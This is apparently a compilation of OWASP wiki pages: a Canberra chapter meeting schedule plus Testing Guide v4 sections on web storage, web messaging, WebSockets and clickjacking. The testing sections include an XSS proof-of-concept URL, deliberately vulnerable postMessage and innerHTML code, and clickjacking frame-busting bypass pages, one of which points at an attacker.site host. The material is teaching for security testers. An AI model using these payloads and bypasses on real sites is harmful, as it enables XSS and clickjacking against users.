'''THE OWASP Testing Project Live CD''' The OWASP testing project is currently implementing an Application security Live CD. <br> LabRat Version 0.8 Alpha is just weeks away from Beta testing*.

The aim of this CD is to have a complete testing suite on one Disk. The CD shall also contain the forthcoming OWASP Testing guide.

The Live CD now has its own section you can find it here: [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project]

= Feedback and Participation =

We hope you find the information in the OWASP Testing project useful. Please contribute back to the project by sending your comments, questions, and suggestions to the OWASP Testing mailing list. Thanks!

To join the OWASP Testing mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-testing subscription page].

= Translations =

Thanks to the translators all around the world you can download the guide in the following languages:

* Spanish in [http://www.owasp.org/images/8/80/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf PDF] or [http://www.owasp.org/images/d/d7/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.zip MS Word] formats.

* Chinese in [http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf PDF] format. (Thanks to the [http://www.owasp.org/index.php/China-Mainland China-mainland chapter].)

* Japanese in [http://www.owasp.org/images/1/1e/OTGv3Japanese.pdf PDF] format here (this is a 1st draft, final release coming soon).

= Project About =
{{:Projects/OWASP Testing Project | Project About}}

__NOTOC__
<headertabs />

[[Category:OWASP_Project|Testing Guide]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Stable Quality Document]]

File:Testing guide V4 portrait.pdf

2014-09-18T10:03:48Z

Andrew Muller: Pipes edition.

Pipes edition.

Canberra

2014-08-29T12:28:01Z

Andrew Muller:

[[File:Parliament_house.jpg|900px]] {{Chapter Template|chaptername=Canberra|extra=The chapter leaders are [mailto:andrew.muller@owasp.org Andrew Muller] and [mailto:nigel.phair@canberra.edu.au Nigel Phair]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-canberra|emailarchives=http://lists.owasp.org/pipermail/owasp-canberra}}

== Local News ==

We are teaming up with SANS from 5pm to 9pm on the 11th of February 2013 to deliver two great speakers in a new venue, the National Library Conference Room. Obviously this meeting WON'T be in our regular venue, so please note the event details in our calendar below.

== Regular OWASP meetings ==

The meetings of the Canberra OWASP Chapter will be held every three months on the first Wednesday of the month, but if we can keep the speakers rolling every month, then we'll make it once a month. The meeting venue and format will stay much the same with the venue kindly provided by the [http://www.canberra.edu.au/cis Centre for Internet Safety (CIS)] and the pizza and beer sponsored by [http://www.ibm.com IBM].

'''Date:''' See table below

'''Time:''' 6:00pm to 9:00pm

'''Place:''' CIS Offices, 170 Haydon drive, Bruce, ACT [http://maps.google.com.au/maps?q=170+Haydon+Drive,+Bruce,+Australian+Capital+Territory&hl=en&ll=-35.237246,149.091924&spn=0.005682,0.007462&sll=-25.335448,135.745076&sspn=69.187564,122.255859&oq=170+Haydon+drive&t=h&hnear=170+Haydon+Dr,+Bruce+Australian+Capital+Territory+2617&z=18]

'''Proceedings:'''

1) News, rumour and innuendo in AppSec by chapter leader ([https://www.owasp.org/images/f/fd/OWASP_Canberra_chapter_introduction.ppt slide deck])

2) Guest speaker

3) Networking and drinks

{| border="1"
|- style="background:lightblue; color:black"
| '''Date''' || '''Guest Speaker''' || '''Topic'''
|-
| 6th June 2012 || '''Tim Scully''', Independent Cyber Security Advocate & Intelligence Risk Consultant and Foundation Board Member of CREST Australia || [https://www.owasp.org/images/5/56/OWASP_-_Scully.pptx The Cyber Threat, Trophy Information & the Fortress Mentality]
|-
| 4th July 2012 || '''Justin Smith''', Chief Architect of Agile Digital || A Case Study in Web Security for Large Scale Consumer Portals
|-
| 19th July 2012 || '''Jacob West''', Chief Technology Officer of HP Fortify ||
[https://www.owasp.org/images/b/b2/OWASP_Canberra_chapter_introduction_%28July_19%29.ppt Chapter intro][https://www.owasp.org/images/9/96/Software_Security_goes_Mobile_-_Jacob_West.pdf Software Security goes Mobile]
|-
| 2nd October 2012 || '''Luke Smith''', CREST UK || Introduction to CREST and its benefits
|-
| 14th November 2012 || '''Chris Brookes''', Director Technical Assessments, Defence Signals Directorate || Cyber Security Operations Centre - Common findings and recommendations 2 years on
|-
| rowspan=4|11th February 2013 || colspan= |Joint presentation with SANS '''NOTE:''' the venue will be the National Library [https://www.owasp.org/images/4/43/OWASP_Canberra_chapter_introduction_%282013_February_11%29.pdf Chapter intro]
|-
| '''MakeHackVoid''' || 3D printer, quadcopter UAV demos and MOAR! ||
|-
| '''Scott McLeod''', Chief Technology Officer of Australian Federal Police || Building successful teams using engineers and technologists
|-
| '''Nick Klein''', Independent Computer Forensic Consultant || [https://www.owasp.org/images/3/3d/Undersatnding_Computer_Forensics_%2811_Feb_2012%29.pdf How to do a computer forensic investigation … and not get burned]
|-
| 3rd April 2013 || '''Nathaniel Wieriks & George Stewart''', security consultants || [https://www.owasp.org/images/b/b5/OWASP_Canberra_chapter_introduction_%282013_April_3%29.pptx Chapter Intro] [https://www.owasp.org/images/9/98/The_Modern_Response_A_Defenders_Perspective.pdf A Modern Approach to Countering Evolving Cyber Threats]
|-
| 6th May 2013 || '''Jim Manico''', OWASP global board member and VP of Security Architecture at WhiteHatSec || TBA
|-
| rowspan=2|10th July 2013 || colspan=2|SANS Community Presentation '''NOTE:''' the venue will be the Hotel Realm]
|-
| '''Justin Searle''', SANS Instructor, OWASP contributor and all round good guy || Pentesting the Smart Grid
|-
| rowspan=2|18th September 2013 || '''Len Kleinman''', Director, Vulnerability Management and Research, Australian Tax Office (ATO) || Building World-Class Vulnerabilty Management and Incident Response Teams
|-
| '''MakeHackVoid''' || Hardware Hackery, 3D printer, quadcopter UAV demos and MOAR! ||
|-
| 6th December 2013 || '''Matt Jones''', Volvent || shooting clay pidgins - a look at the libpurple IM library
|-
| 28th March 2014 || '''Paul Theriault''', Mozilla || [https://people.mozilla.org/~ptheriault/talk.ppt Firefox OS security model and workshop] [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]
|-
| 30th July 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download][https://www.owasp.org/index.php/File:2014-07-30owaspzapcoursecanberra1-140731025357-phpapp02.ppt Slidedeck (with answers)]
|-
| 29th August 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]
|-
| 26th September 2014 || '''Simon Bennetts''', Mozilla || Advanced Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]
|-
| 31st October 2014 || '''Simon Bennetts''', Mozilla || Advanced Zed Attack Proxy (ZAP) [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]
|-
| 28th November 2014 || Mozilla || Mozilla Bug Hunt [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]
|}

For anyone wishing to deliver or suggest a relevant presentation at a future chapter meeting, please review the speaker agreement and contact the chapter leader (andrew.muller@owasp.org).

Everyone is welcome to join us at our chapter meetings, whether you're an OWASP member or not!

[[Category:OWASP Chapter]]
[[Category:Australia]]

File:2014-07-30owaspzapcoursecanberra1-140731025357-phpapp02.ppt

2014-08-29T12:20:31Z

Andrew Muller:

Test Local Storage (OTG-CLIENT-012)

2014-08-08T13:46:09Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP). There are two objects, localStorage that is persistent and is intended to survive browser/system reboots and sessionStorage that is temporary and will only exists until the window or tab is closed.

On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.

=== localStorage ===

Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage. Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data. Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the same storage.

Data stored in this object will persist after the window is closed, it is a bad idea to store sensitive data or session identifiers on this object as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.

=== sessionStorage ===

Main difference with localStorage is that the data stored in this object is only accessible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions. It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accessed.

==How to Test==
=== Black Box testing ===
Black box testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

=== Gray Box testing ===

First of all, we need to check whether the Local Storage is used.

'''Example 1: Access to localStorage:''' <br>

Access to every element in localStorage with JavaScript:<br>

<pre>
for(var i=0; i<localStorage.length; i++) {
console.log(localStorage.key(i), " = ", localStorage.getItem(localStorage.key(i)));
}
</pre>

same code can be applied to sessionStorage

Using Google Chrome, click on menu -> Tools -> Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'.

[[File:storage-chrome.png]]

Using Firefox with the Firebug add on you can easily inspect the localStorage/sessionStorage object in the DOM tab.

[[File:storage-firefox.png]]

Also, we can inspect these objects from the developer tools of our browser.

Next manual testing needs to be conducted in order to determine whether the website is storing sensitive data in the storage that represents a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the code does not escape the input or output. The JavaScript code has to be analyzed to evaluate these issues, so make sure you crawl the application to discover every instance of JavaScript code and note sometimes applications use third-party libraries that would need to be examined too.<br>
<br>
Here is an example of how improper use of user input and lack of validation can lead to XSS attacks.

'''Example 2: XSS in localStorage:''' <br>

Insecure assignment from localStorage can lead to XSS<br>

<pre>
function action(){

var resource = location.hash.substring(1);

localStorage.setItem("item",resource);

item = localStorage.getItem("item");
document.getElementById("div1").innerHTML=item;
}
</script>

<body onload="action()">
<div id="div1"></div>
</body>
</pre>

URL PoC:

http://server/StoragePOC.html#<img src=x onerror=alert(1)>

[[File:Storage-xss.png]]

==Tools==
* '''Firebug''' - http://getfirebug.com/
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==

'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/

Test Web Messaging (OTG-CLIENT-011)

2014-08-08T13:45:06Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Web Messaging (also known as Cross Document Messaging) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the postMessage() method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.

There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:
*data: The content of the incoming message<br>
*origin: The origin of the sender document<br>
*source: source window<br>

An example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

=== Origin Security Concept ===
The origin is made up of a scheme, host name and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url. For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to web servers running in the same domain but different port.

From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicitly stating the receiving domain and not '*' as the second argument of postMessage() as this practice could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case the website failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risk so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners, and get the callback function from the addEventListener method to further analysis as domains must be always be verified prior data manipulation.

=== event.data Input Validation ===

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

==How to Test==
=== Black Box testing ===
Black box testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===

Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:

Vulnerable code example:

In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:
<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
</b>if(e.origin.indexOf(".owasp.org")!=-1) {<b>
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

<pre>
www.owasp.org
chat.owasp.org
forums.owasp.org
...
</pre>

Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match.

Example of lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabilities as data is not being treated properly, a more secure approach would be to use the property textContent instead of innetHTML.

==Tools==
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html

Testing WebSockets (OTG-CLIENT-010)

2014-08-08T13:43:51Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Traditionally the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex).

HTML5 WebSockets allow the client/server to create a 'full-duplex' (two-way) communication channels, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial 'upgrade' handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames.

=== Origin ===

It is the server’s responsibility to verify the Origin header in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for [[Top 10 2013-A8-Cross-Site Request Forgery (CSRF)]] type issues.

=== Confidentiality and Integrity ===

WebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the ''ws://'' URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the ''wss://'' URI scheme is used (default port 443). Look out for [[Top 10 2013-A6-Sensitive Data Exposure]] type issues.

=== Authentication ===

WebSockets do not handle authentication, instead normal application authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for [[Top 10 2013-A2-Broken Authentication and Session Management]] type issues.

=== Authorization ===

WebSockets do not handle authorization, normal application authorization mechanisms apply. Look out for [[Top 10 2013-A4-Insecure Direct Object References]] and [[Top 10 2013-A7-Missing Function Level Access Control]] type issues.

=== Input Sanitization ===

As with any data originating from untrusted sources, the data should be properly sanitised and encoded. Look out for [[Top 10 2013-A1-Injection]] and [[Top 10 2013-A3-Cross-Site Scripting (XSS)]] type issues.

== How to Test==
=== Black Box testing ===

1. Identify that the application is using WebSockets.
*Inspect the client-side source code for the ''ws://'' or ''wss://'' URI scheme.
*Use Google Chrome's Developer Tools to view the Network WebSocket communication.
*Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab.

2. Origin.
* Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.

3. Confidentiality and Integrity.
* Check that the WebSocket connection is using SSL to transport sensitive information (wss://).
* Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)] section of this guide.

4. Authentication.
* WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_authentication Authentication Testing] sections of this guide.

5. Authorization.
* WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_Authorization Authorization Testing] sections of this guide.

6. Input Sanitization.
* Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [https://www.owasp.org/index.php/Testing_for_Data_Validation Testing for Data Validation] sections of this guide.

'''Example 1'''

Once we have identified that the application is using WebSockets (as described above) we can use the [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy (ZAP)] to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.

[[File:OWASP_ZAP_WebSockets.png|600px]]

'''Example 2'''

Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake's origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.

[[File:WebSocket_Client.png]]

=== Gray Box testing ===
Gray box testing is similar to black box testing. In gray box testing the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.

==Tools==
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.
*'''WebSocket Client''' - https://github.com/RandomStorm/scripts/blob/master/WebSockets.html
A WebSocket client that can be used to interact with a WebSocket server.
*'''Google Chrome Simple WebSocket Client''' - https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en
Construct custom Web Socket requests and handle responses to directly test your Web Socket services.

== References ==

'''Whitepapers'''<br />
*'''HTML5 Rocks''' - Introducing WebSockets: Bringing Sockets to the Web: http://www.html5rocks.com/en/tutorials/websockets/basics/
*'''W3C''' - The WebSocket API: http://dev.w3.org/html5/websockets/
*'''IETF''' - The WebSocket Protocol: https://tools.ietf.org/html/rfc6455
*'''Christian Schneider''' - Cross-Site WebSocket Hijacking (CSWSH): http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html
*'''Jussi-Pekka Erkkilä''' - WebSocket Security Analysis: http://juerkkil.iki.fi/files/writings/websocket2012.pdf
*'''Robert Koch'''- On WebSockets in Penetration Testing: http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf
*'''DigiNinja''' - OWASP ZAP and Web Sockets: http://www.digininja.org/blog/zap_web_sockets.php

Testing for Clickjacking (OTG-CLIENT-009)

2014-08-08T13:41:50Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
"Clickjacking" (which is a subset of the "UI redressing") is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term "Clickjacking" was coined by Jeremiah Grossman and Robert Hansen in 2008.

A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a "client side" security issue that affects a variety of browsers and platforms.

To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.

[[Image:clickjacking_description.png|400px|thumb|center]]

Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an "ad hoc" positioning of the elements in the web page.

[[Image:Masked_iframe.png|400px|thumb|center]]

The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.

===How to Test===
As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.

We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a "proof of concept" to exploit the vulnerability.

The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:

<pre>
<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe src="http://www.target.site" width="500" height="500"></iframe>
</body>
</html>
</pre>

'''Result Expected:'''
If you can see both the text "Website is vulnerable to clickjacking!" at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a "proof of concept" to demonstrate that an attacker could exploit this vulnerability.

===Bypass Clickjacking protection:===
In case in which you only see the target site or the text "Website is vulnerable to clickjacking!" but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.

Methods to protect a web page from clickjacking can be divided in two macro-categories:
* Client side protection: Frame Busting
* Server side protection: X-Frame-Options

In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.

====Client side protection: Frame Busting====
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame.

The structure of frame busting code typically consists of a "conditional statement" and a "counter-action" statement.
For this type of protection, there are some work arounds that fall under the name of "Bust frame busting". Some of this techniques are browser-specific while others work across browsers.

'''Mobile website version'''
<br>
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.

'''Double Framing'''
<br>
Some frame busting techniques try to break frame by assigning a value to the "parent.location" attribute in the "counter-action" statement.

Such actions are, for example:
* self.parent.location = document.location
* parent.location.href = self.location
* parent.location = self.location

This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to "parent.location" becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.

Target site frame busting code (target site):

<pre>
if(top.location!=self.locaton) {
parent.location = self.location;
}
</pre>

Attacker’s top frame (fictitious2.html):
<pre>
<iframe src="fictitious.html">
</pre>

Attacker’s fictitious sub-frame (fictitious.html):
<pre>
<iframe src="http://target site">
</pre>

'''Disabling javascript'''
<br>
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.

There are three deactivation techniques that can be used with frames:
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.

Example:
<pre>
<iframe src="http://target site" security="restricted"></iframe>
</pre>

* Sandbox attribute: with HTML5 there is a new attribute called "sandbox". It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible whit Chrome and Safari.

Example:
<pre>
<iframe src="http://target site" sandbox></iframe>
</pre>

* Design mode: Paul Stone showed a security issue concerning the "designMode" that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.

'''onBeforeUnload event'''
<br>
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt.

The attacker can use this attack by registering an unload event on the top page using the following example code:

<pre>
<h1>www.fictitious.site</h1>
<script>
window.onbeforeunload = function()
{
return " Do you want to leave fictitious.site?";
}
</script>
<iframe src="http://target site">
</pre>

The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a "HTTP/1.1 204 No Content" header.

Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile.

Following an example code:

204 page:
<pre>
<?php
header("HTTP/1.1 204 No Content");
?>
</pre>

Attacker's page:
<pre>
<script>
var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(
function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = "http://attacker.site/204.php";
}
}, 1);
</script>
<iframe src="http://target site">
</pre>

'''XSS Filter'''
<br>
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.
* <b>IE8 XSS filter</b>: this filter has visibility into all requests and responses parameters flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters.

Example:
Target web page frame busting code:
<pre>
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
</pre>
Attacker code:
<pre>
<iframe src=”http://target site/?param=<script>if”>
</pre>

* <b>Chrome 4.0 XSSAuditor filter</b>: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a "script" by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.

Example:
Target web page frame busting code:
<pre>
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
</pre>

Attacker code:
<pre>
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
</pre>

'''Redefining location'''
<br>
For several browser the "document.location" variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.
* <b>Redefining location in IE7 and IE8</b>: it is possible to redefine "location" as it is illustrated in the following example. By defining "location" as a variable, any code that tries to read or to navigate by assigning "top.location" will fail due to a security violation and so the frame busting code is suspended.

Example:
<pre>
<script>
var location = "xyz";
</script>
<iframe src="http://target site"></iframe>
</pre>

* <b>Redefining location in Safari 4.0.4</b>: To bust frame busting code with "top.location" it is possible to bind "location" to a function via defineSetter (through window), so that an attempt to read or navigate to the "top.location" will fail.

Example:
<pre>
<script>
window.defineSetter("location" , function(){});
</script>
<iframe src="http://target site"></iframe>
</pre>

====Server side protection: X-Frame-Options====
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new "X-FRAME-OPTIONS" header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.

The "X-FRAME-OPTIONS" is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.

'''Browser compatibility'''
<br>
Since the "X-FRAME-OPTIONS" was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.

